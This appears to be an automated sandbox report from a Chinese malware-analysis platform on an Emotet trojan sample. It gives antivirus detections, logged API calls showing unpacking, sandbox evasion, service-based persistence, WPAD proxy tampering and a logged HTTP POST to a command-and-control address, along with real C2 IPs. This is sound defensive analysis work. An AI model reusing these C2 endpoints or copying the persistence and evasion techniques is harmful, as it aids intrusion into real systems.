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54 个模型检测该样本为恶意！
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f0ca917091e9858616da9421a81833cffa70ce157e614c84decfd468d28948f3

bfefe3db2fd5aac81a2f5d229d56b2d8.exe

分析耗时

110s

最近分析

文件大小

72.0KB
静态报毒 动态报毒 AI SCORE=86 ATTRIBUTE CLASSIC CRYPTERX DOWNLOADER34 ELDORADO EMOTET EWAJ GDMU GENCIRC GENETIC HFYT HGCC HIGH CONFIDENCE HIGHCONFIDENCE HUCLXZ KRYPTIK MALWARE@#2LC5DQR20KHLV R + TROJ R057C0DI620 SCORE SITJC49PV9Q SUSGEN UNSAFE WOCMS 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba Trojan:Win32/Emotet.0fc921d1 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Kingsoft 20200929 2013.8.14.323
McAfee Emotet-FSC!BFEFE3DB2FD5 20200928 6.0.6.653
Tencent Malware.Win32.Gencirc.10cdfdcd 20200929 1.0.0.1
CrowdStrike 20190702 1.0
静态指标
Queries for the computername (1 个事件)
Time & API Arguments Status Return Repeated
1619886901.513875
GetComputerNameA
computer_name: OSKAR-PC
success 1 0
Uses Windows APIs to generate a cryptographic key (5 个事件)
Time & API Arguments Status Return Repeated
1619886886.326875
CryptGenKey
crypto_handle: 0x004b5958
algorithm_identifier: 0x0000660e ()
provider_handle: 0x004b5088
flags: 1
key: fJü÷ޚ)'¥M½J\»³,
success 1 0
1619886901.529875
CryptExportKey
crypto_handle: 0x004b5958
crypto_export_handle: 0x004b5800
buffer: f¤Ò…!¹™+ˆ–¡·jÒ¶Jó«æ¶J ùƒ\ùæôˆX¡²ÿSy:´(¬ŒMg­rWøjٟȻë±ÒzõؒB€ Ê„§3TÁq¡Ô–¯y=Ä&Wz&³
blob_type: 1
flags: 64
success 1 0
1619886929.763875
CryptExportKey
crypto_handle: 0x004b5958
crypto_export_handle: 0x004b5800
buffer: f¤óQŠØ‰ô¥|g ­õ£KÍü|ö¢ë.,zccð0I‰1¦{½¹Ö++5PnŒ]rðÉÞa‹Vúwdv÷üÚ»òtš—YX™·PӐø$Š€ çÌJ;”`ú¨GÓç]Wš
blob_type: 1
flags: 64
success 1 0
1619886933.763875
CryptExportKey
crypto_handle: 0x004b5958
crypto_export_handle: 0x004b5800
buffer: f¤poùûê©èjjRՈnà™ë4û¸¶£cÁe?Ç&’s;Ӄ NVžqn+ó¹ÚØ("Aý)·âQŽ 'Ñdõ-X¢KÕ -«ÒwçÌ0êMτæfƒf6lŠz»U=¥ZÍvb
blob_type: 1
flags: 64
success 1 0
1619886937.357875
CryptExportKey
crypto_handle: 0x004b5958
crypto_export_handle: 0x004b5800
buffer: f¤8÷š›°Ã´W·=›Eñm¿%æ¶\F4Ž‚^âõ3;ô)¾À:Y^ë®­#‘×Ö¹ky7º$!ÀlGj4fvÒ –0øöx“Úø^‹”è‹Ÿzqkó DD;èz¡¿v
blob_type: 1
flags: 64
success 1 0
The executable uses a known packer (1 个事件)
packer Armadillo v1.71
The file contains an unknown PE resource name possibly indicative of a packer (1 个事件)
resource name None
行为判定
动态指标
Allocates read-write-execute memory (usually to unpack itself) (3 个事件)
Time & API Arguments Status Return Repeated
1619886876.154625
NtAllocateVirtualMemory
process_identifier: 708
region_size: 45056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00820000
success 0 0
1619886509.876644
NtAllocateVirtualMemory
process_identifier: 1424
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffffffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0000000003e80000
success 0 0
1619886885.966875
NtAllocateVirtualMemory
process_identifier: 2428
region_size: 45056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00470000
success 0 0
Checks whether any human activity is being performed by constantly checking whether the foreground window changed
Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (1 个事件)
Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 个事件)
Time & API Arguments Status Return Repeated
1619886876.170625
NtProtectVirtualMemory
process_identifier: 708
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 28672
protection: 32 (PAGE_EXECUTE_READ)
process_handle: 0xffffffff
base_address: 0x00841000
success 0 0
Moves the original executable to a new location (1 个事件)
Time & API Arguments Status Return Repeated
1619886883.029625
MoveFileWithProgressW
oldfilepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\bfefe3db2fd5aac81a2f5d229d56b2d8.exe
newfilepath: C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe
newfilepath_r: C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe
flags: 3
oldfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\bfefe3db2fd5aac81a2f5d229d56b2d8.exe
success 1 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619886902.841875
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.443831583008822 section {'size_of_data': '0x0000d000', 'virtual_address': '0x00005000', 'entropy': 7.443831583008822, 'name': '.rsrc', 'virtual_size': '0x0000ca48'} description A section with a high entropy has been found
entropy 0.7647058823529411 description Overall entropy of this PE file is high
Expresses interest in specific running processes (1 个事件)
process rasapi32.exe
Reads the systems User Agent and subsequently performs requests (1 个事件)
Time & API Arguments Status Return Repeated
1619886902.060875
InternetOpenW
proxy_bypass:
access_type: 0
proxy_name:
flags: 0
user_agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
success 13369348 0
网络通信
Communicates with host for which no DNS query was performed (5 个事件)
host 142.44.137.67
host 162.241.242.173
host 172.217.24.14
host 192.158.216.73
host 85.214.28.226
Installs itself for autorun at Windows startup (1 个事件)
service_name rasapi32 service_path C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\"C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe"
Created a service where a service was also not started (1 个事件)
Time & API Arguments Status Return Repeated
1619886884.607625
CreateServiceW
service_start_name:
start_type: 2
service_handle: 0x02d95c60
display_name: rasapi32
error_control: 0
service_name: rasapi32
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\"C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe"
filepath_r: "C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe"
service_manager_handle: 0x02d9c280
desired_access: 2
service_type: 16
password:
success 47799392 0
Sets or modifies WPAD proxy autoconfiguration file for traffic interception (8 个事件)
Time & API Arguments Status Return Repeated
1619886905.404875
RegSetValueExA
key_handle: 0x00000398
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619886905.404875
RegSetValueExA
key_handle: 0x00000398
value: À·^¦u>×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619886905.404875
RegSetValueExA
key_handle: 0x00000398
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619886905.404875
RegSetValueExW
key_handle: 0x00000398
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619886905.404875
RegSetValueExA
key_handle: 0x000003b0
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619886905.404875
RegSetValueExA
key_handle: 0x000003b0
value: À·^¦u>×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619886905.404875
RegSetValueExA
key_handle: 0x000003b0
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
1619886905.435875
RegSetValueExW
key_handle: 0x00000394
value: {40112ABE-63B3-43C3-BE93-1440EE3AF106}
regkey_r: WpadLastNetwork
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork
success 0 0
Attempts to remove evidence of file being downloaded from the Internet (1 个事件)
file C:\Windows\SysWOW64\WMVXENCD\rasapi32.exe:Zone.Identifier
Generates some ICMP traffic
File has been identified by 54 AntiVirus engines on VirusTotal as malicious (50 out of 54 个事件)
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.Agent.EWAJ
FireEye Trojan.Agent.EWAJ
ALYac Trojan.Agent.Emotet
Cylance Unsafe
Zillya Trojan.Emotet.Win32.28360
Sangfor Malware
K7AntiVirus Trojan ( 0056dc4f1 )
Alibaba Trojan:Win32/Emotet.0fc921d1
K7GW Trojan ( 0056dc4f1 )
Arcabit Trojan.Agent.EWAJ
Invincea Mal/Generic-R + Troj/Emotet-CLZ
Cyren W32/Kryptik.BWJ.gen!Eldorado
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
ClamAV Win.Malware.Emotet-9753021-0
Kaspersky Trojan-Banker.Win32.Emotet.gdmu
BitDefender Trojan.Agent.EWAJ
NANO-Antivirus Trojan.Win32.Emotet.huclxz
Rising Trojan.Kryptik!1.CBC1 (CLASSIC)
Ad-Aware Trojan.Agent.EWAJ
TACHYON Banker/W32.Emotet.73728.C
Sophos Troj/Emotet-CLZ
Comodo Malware@#2lc5dqr20khlv
F-Secure Trojan.TR/Crypt.Agent.wocms
DrWeb Trojan.DownLoader34.32630
VIPRE Trojan.Win32.Generic!BT
TrendMicro TROJ_GEN.R057C0DI620
McAfee-GW-Edition BehavesLike.Win32.Emotet.lh
Emsisoft Trojan.Emotet (A)
Jiangmin Trojan.Banker.Emotet.oia
Avira TR/Crypt.Agent.wocms
Antiy-AVL Trojan[Banker]/Win32.Emotet
Microsoft Trojan:Win32/Emotet.ARJ!MTB
AegisLab Trojan.Win32.Emotet.L!c
ZoneAlarm Trojan-Banker.Win32.Emotet.gdmu
GData Trojan.Agent.EWAJ
Cynet Malicious (score: 85)
AhnLab-V3 Malware/Win32.Generic.C4192543
McAfee Emotet-FSC!BFEFE3DB2FD5
MAX malware (ai score=86)
VBA32 Trojan.Downloader
Malwarebytes Trojan.MalPack.TRE
ESET-NOD32 a variant of Win32/Kryptik.HGCC
TrendMicro-HouseCall TROJ_GEN.R057C0DI620
Tencent Malware.Win32.Gencirc.10cdfdcd
Yandex Trojan.Kryptik!SITJc49pV9Q
Ikarus Trojan-Banker.Emotet
Fortinet W32/Kryptik.HFYT!tr
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (6 个事件)
dead_host 192.158.216.73:80
dead_host 192.168.56.101:49188
dead_host 172.217.24.14:443
dead_host 162.241.242.173:8080
dead_host 85.214.28.226:8080
dead_host 172.217.160.78:443
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

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PE Compile Time

2020-09-04 23:11:19

Imports

Library MFC42.DLL:
• 0x403038
• 0x40303c
• 0x403040
• 0x403044
• 0x403048
• 0x40304c
• 0x403050
• 0x403054
• 0x403058
• 0x40305c
• 0x403060
• 0x403064
• 0x403068
• 0x40306c
• 0x403070
• 0x403074
• 0x403078
• 0x40307c
• 0x403080
• 0x403084
• 0x403088
• 0x40308c
• 0x403090
• 0x403094
• 0x403098
• 0x40309c
• 0x4030a0
• 0x4030a4
• 0x4030a8
• 0x4030ac
• 0x4030b0
• 0x4030b4
• 0x4030b8
• 0x4030bc
• 0x4030c0
• 0x4030c4
• 0x4030c8
• 0x4030cc
• 0x4030d0
• 0x4030d4
• 0x4030d8
• 0x4030dc
• 0x4030e0
• 0x4030e4
• 0x4030e8
• 0x4030ec
• 0x4030f0
• 0x4030f4
• 0x4030f8
• 0x4030fc
• 0x403100
• 0x403104
• 0x403108
• 0x40310c
• 0x403110
• 0x403114
• 0x403118
• 0x40311c
• 0x403120
• 0x403124
• 0x403128
• 0x40312c
• 0x403130
• 0x403134
• 0x403138
• 0x40313c
• 0x403140
• 0x403144
• 0x403148
• 0x40314c
• 0x403150
• 0x403154
• 0x403158
• 0x40315c
• 0x403160
• 0x403164
• 0x403168
• 0x40316c
• 0x403170
• 0x403174
• 0x403178
• 0x40317c
• 0x403180
• 0x403184
• 0x403188
• 0x40318c
• 0x403190
• 0x403194
• 0x403198
• 0x40319c
• 0x4031a0
• 0x4031a4
• 0x4031a8
• 0x4031ac
• 0x4031b0
• 0x4031b4
• 0x4031b8
• 0x4031bc
• 0x4031c0
• 0x4031c4
• 0x4031c8
Library MSVCRT.dll:
• 0x4031d0 __set_app_type
• 0x4031d4 _except_handler3
• 0x4031d8 _controlfp
• 0x4031dc __p__commode
• 0x4031e0 _adjust_fdiv
• 0x4031e4 __setusermatherr
• 0x4031e8 _initterm
• 0x4031ec __getmainargs
• 0x4031f0 _acmdln
• 0x4031f4 exit
• 0x4031f8 _setmbcp
• 0x4031fc __CxxFrameHandler
• 0x403200 malloc
• 0x403204 __p__fmode
• 0x403208 __dllonexit
• 0x40320c _onexit
• 0x403210 _exit
• 0x403214 _XcptFilter
Library KERNEL32.dll:
• 0x40301c GetStartupInfoA
• 0x403020 GetModuleHandleA
• 0x403024 GetVersion
• 0x403028 lstrlenA
• 0x40302c GetProcAddress
• 0x403030 LoadLibraryW
Library USER32.dll:
• 0x40321c IsIconic
• 0x403220 GetSystemMetrics
• 0x403224 GetClientRect
• 0x403228 DrawIcon
• 0x40322c GetSystemMenu
• 0x403230 SendMessageA
• 0x403234 LoadIconA
• 0x403238 EnableWindow
• 0x40323c AppendMenuA
Library ADVAPI32.dll:
• 0x403000 RegSetValueExA
• 0x403004 RegQueryValueExA
• 0x403008 RegCreateKeyExA
• 0x40300c RegCloseKey
Library COMCTL32.dll:
• 0x403014

Exports

Ordinal Address Name
1 0x401780 UUACZDADWAJJJJJ

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49191 142.44.137.67 443
192.168.56.101 49198 203.208.40.66 update.googleapis.com 443

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 53657 114.114.114.114 53
192.168.56.101 55368 114.114.114.114 53
192.168.56.101 60088 114.114.114.114 53
192.168.56.101 60215 114.114.114.114 53
192.168.56.101 60221 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 50002 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 51963 224.0.0.252 5355
192.168.56.101 53380 224.0.0.252 5355
192.168.56.101 54991 224.0.0.252 5355
192.168.56.101 56539 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 57236 224.0.0.252 5355
192.168.56.101 57756 224.0.0.252 5355

HTTP & HTTPS Requests

URI Data
http://142.44.137.67:443/dqDnnAqp/ihdXf3/dmv3Mk8Qxp/ 
POST /dqDnnAqp/ihdXf3/dmv3Mk8Qxp/ HTTP/1.1
Content-Type: multipart/form-data; boundary=------------p2iatBppVm5J
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 142.44.137.67:443
Content-Length: 4548
Connection: Keep-Alive
Cache-Control: no-cache

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.